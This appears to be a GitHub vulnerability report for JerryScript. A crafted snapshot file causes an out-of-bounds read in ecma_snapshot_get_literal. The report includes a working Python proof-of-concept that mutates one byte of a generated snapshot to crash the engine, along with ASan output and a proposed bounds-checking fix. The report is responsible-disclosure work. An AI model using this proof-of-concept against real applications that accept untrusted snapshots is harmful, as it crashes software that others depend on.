Skip to content

JerryScript: malformed snapshot literal offset causes out-of-bounds read in ecma_snapshot_get_literal #5295

Description

@shi-bohao

Summary

The snapshot loader does not fully validate literal offsets stored in a snapshot file. A crafted snapshot can make ecma_snapshot_get_literal compute a literal pointer outside the snapshot buffer and then read a string length from that invalid address.

This is reachable through jerry --exec-snapshot and the public jerry_exec_snapshot() API. It is not reachable from plain JavaScript source execution.

Security impact

  • Suggested severity: Medium
  • Suggested CWE: CWE-125 (Out-of-bounds Read)
  • Attack surface: malformed snapshot file loaded by the engine
  • Observed impact: deterministic release-build crash / ASan SEGV
  • Note: this is snapshot-input-triggered, not pure JavaScript source-triggered
  • Security impact exists when an embedding application accepts snapshots from an untrusted or attacker-modifiable source. If snapshots are always generated and stored by the application itself and cannot be modified, the practical risk is lower.

Root cause

At jerry-core/ecma/base/ecma-literal-storage.c, the snapshot literal offset is used without checking whether it stays inside the snapshot literal table:

const uint8_t *literal_p = literal_base_p + (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT);
...
uint16_t length = *(const uint16_t *) literal_p;
return ecma_find_or_create_literal_string (literal_p + sizeof (uint16_t), length, false);

There is no bounds check before reading length or before using the following bytes as string data.

JerryScript revision

Observed at JerryScript commit:

b7069350c2e52e7dc721dfb75f067147bd79b39b

Tested on: 2026-06-20.

Build platform
Ubuntu 24.04.4 LTS (Linux 6.6.87.2-microsoft-standard-WSL2 x86_64)
Build steps

Snapshot-enabled ASan build:

python3 tools/build.py --clean \
  --builddir=build-snapshot-asan \
  --jerry-cmdline-snapshot=ON \
  --snapshot-exec=ON \
  --snapshot-save=ON \
  --compile-flag=-fsanitize=address \
  --linker-flag=-fsanitize=address \
  --strip=OFF

A non-ASan snapshot build can also reproduce the crash:

python3 tools/build.py --clean \
  --jerry-cmdline-snapshot=ON \
  --snapshot-exec=ON \
  --snapshot-save=ON
Build log

Not a build problem. Build completed successfully.

Test case

The following Python script generates a valid snapshot from benign JavaScript, mutates one byte in a serialized ecma_value_t snapshot literal offset, prints the relevant layout information, and writes poc.snapshot.

make_snapshot_oob.py:

#!/usr/bin/env python3
import os
import subprocess
import tempfile
import struct
import hashlib

JERRY_SNAPSHOT = os.environ.get("JERRY_SNAPSHOT", os.path.abspath("./build/bin/jerry-snapshot"))

SOURCE = """var x = { a: 1 }?.a;
var x = { a: 1 }?.a;
var x = 1;
function f() { return 1; }
var x = true ? 1 : 0;
print(0);
"""

def main():
    with tempfile.NamedTemporaryFile(mode="w", suffix=".js", delete=False) as f:
        f.write(SOURCE)
        js_path = f.name

    snap_path = js_path + ".snapshot"

    try:
        subprocess.run(
            [JERRY_SNAPSHOT, "generate", "-o", snap_path, js_path],
            check=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
        )

        with open(snap_path, "rb") as f:
            snap = bytearray(f.read())

        if len(snap) <= 0x8e:
            raise RuntimeError("Unexpected snapshot layout: only %d bytes" % len(snap))

        original = bytearray(snap)

        # This byte is part of the little-endian ecma_value_t at file offset 0x8c.
        # The mutation changes that value from 0x00000087 to 0x007a0087.
        snap[0x8e] = 0x7a

        magic, version, flags, lit_table_offset, number_of_funcs, func0 = struct.unpack_from("<IIIIII", original, 0)
        old_value = struct.unpack_from("<I", original, 0x8c)[0]
        new_value = struct.unpack_from("<I", snap, 0x8c)[0]
        literal_offset = new_value >> 5  # JERRY_SNAPSHOT_LITERAL_SHIFT == ECMA_VALUE_SHIFT + 2 == 5.
        literal_absolute = lit_table_offset + literal_offset

        print("snapshot size:", len(original))
        print("original sha256:", hashlib.sha256(original).hexdigest())
        print("mutated sha256:", hashlib.sha256(snap).hexdigest())
        print("literal table offset:", lit_table_offset)
        print("literal table size:", len(original) - lit_table_offset)
        print("original byte at 0x8e:", hex(original[0x8e]))
        print("mutated byte at 0x8e:", hex(snap[0x8e]))
        print("original ecma_value_t at 0x8c: 0x%08x" % old_value)
        print("mutated ecma_value_t at 0x8c: 0x%08x" % new_value)
        print("mutated type bits:", new_value & 0x7)
        print("decoded literal offset:", literal_offset)
        print("absolute literal address offset:", literal_absolute)
        print("points bytes past snapshot end:", literal_absolute - len(original))

        with open("poc.snapshot", "wb") as f:
            f.write(snap)

        print("Wrote poc.snapshot")
    finally:
        os.unlink(js_path)
        try:
            os.unlink(snap_path)
        except FileNotFoundError:
            pass

if __name__ == "__main__":
    main()
Execution platform

Same as the build platform.

Execution steps

For the ASan build above:

JERRY_SNAPSHOT=build-snapshot-asan/bin/jerry-snapshot python3 make_snapshot_oob.py
ASAN_OPTIONS=detect_leaks=0 build-snapshot-asan/bin/jerry --exec-snapshot poc.snapshot

For a non-ASan snapshot build:

JERRY_SNAPSHOT=build/bin/jerry-snapshot python3 make_snapshot_oob.py
build/bin/jerry --exec-snapshot poc.snapshot
Output

ASan output:

snapshot size: 166
original sha256: 66ed96335483160bfc15c99c1956dbd3b7bba79911d485cd7c952e0d27bf50fb
mutated sha256: 4daa6ca55e13460be26a27bb62dda2d30ea6779522933a18cb65197dfdeed799
literal table offset: 144
literal table size: 22
original byte at 0x8e: 0x0
mutated byte at 0x8e: 0x7a
original ecma_value_t at 0x8c: 0x00000087
mutated ecma_value_t at 0x8c: 0x007a0087
mutated type bits: 7
decoded literal offset: 249860
absolute literal address offset: 250004
points bytes past snapshot end: 249838

AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address 0x50f00003d0d4
The signal is caused by a READ memory access.

The mutated value still has type bits 7, which is ECMA_TYPE_SNAPSHOT_OFFSET. ecma_snapshot_get_literal then computes:

literal_p = literal_base_p + (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT)
          = snapshot[144] + 249860

The generated snapshot is only 166 bytes long, so the decoded literal pointer is 249838 bytes past the end of the snapshot buffer.

Backtrace

Representative ASan stack:

#0 ecma_snapshot_get_literal
#1 snapshot_load_compiled_code
#2 snapshot_load_compiled_code
#3 main

The crash occurs when ecma_snapshot_get_literal reads the string length from an out-of-bounds literal_p.

Expected behavior

The snapshot loader should validate all snapshot offsets and sizes before reading from them. A malformed snapshot should be rejected with an error instead of causing an out-of-bounds read or process crash.

Suggested fix

Primary fix: validate literal offsets before use.

  • Pass the snapshot bounds or literal-table bounds to ecma_snapshot_get_literal.
  • Before pointer arithmetic, check that (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT) is within the literal table.
  • For number literals, check that sizeof(ecma_number_t) bytes are available.
  • For BigInt literals, check that the header and declared digit data fit in the literal table.
  • For string literals, check that sizeof(uint16_t) + length bytes are available.
  • Use overflow-safe checks such as required_size <= literal_table_size - offset.

Defense in depth: validate nested compiled-code offsets, bytecode sizes, and other snapshot-internal pointers before following them.

Regression test suggestion

Add a snapshot regression test that runs this malformed snapshot and verifies that jerry --exec-snapshot poc.snapshot rejects the input cleanly instead of crashing.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions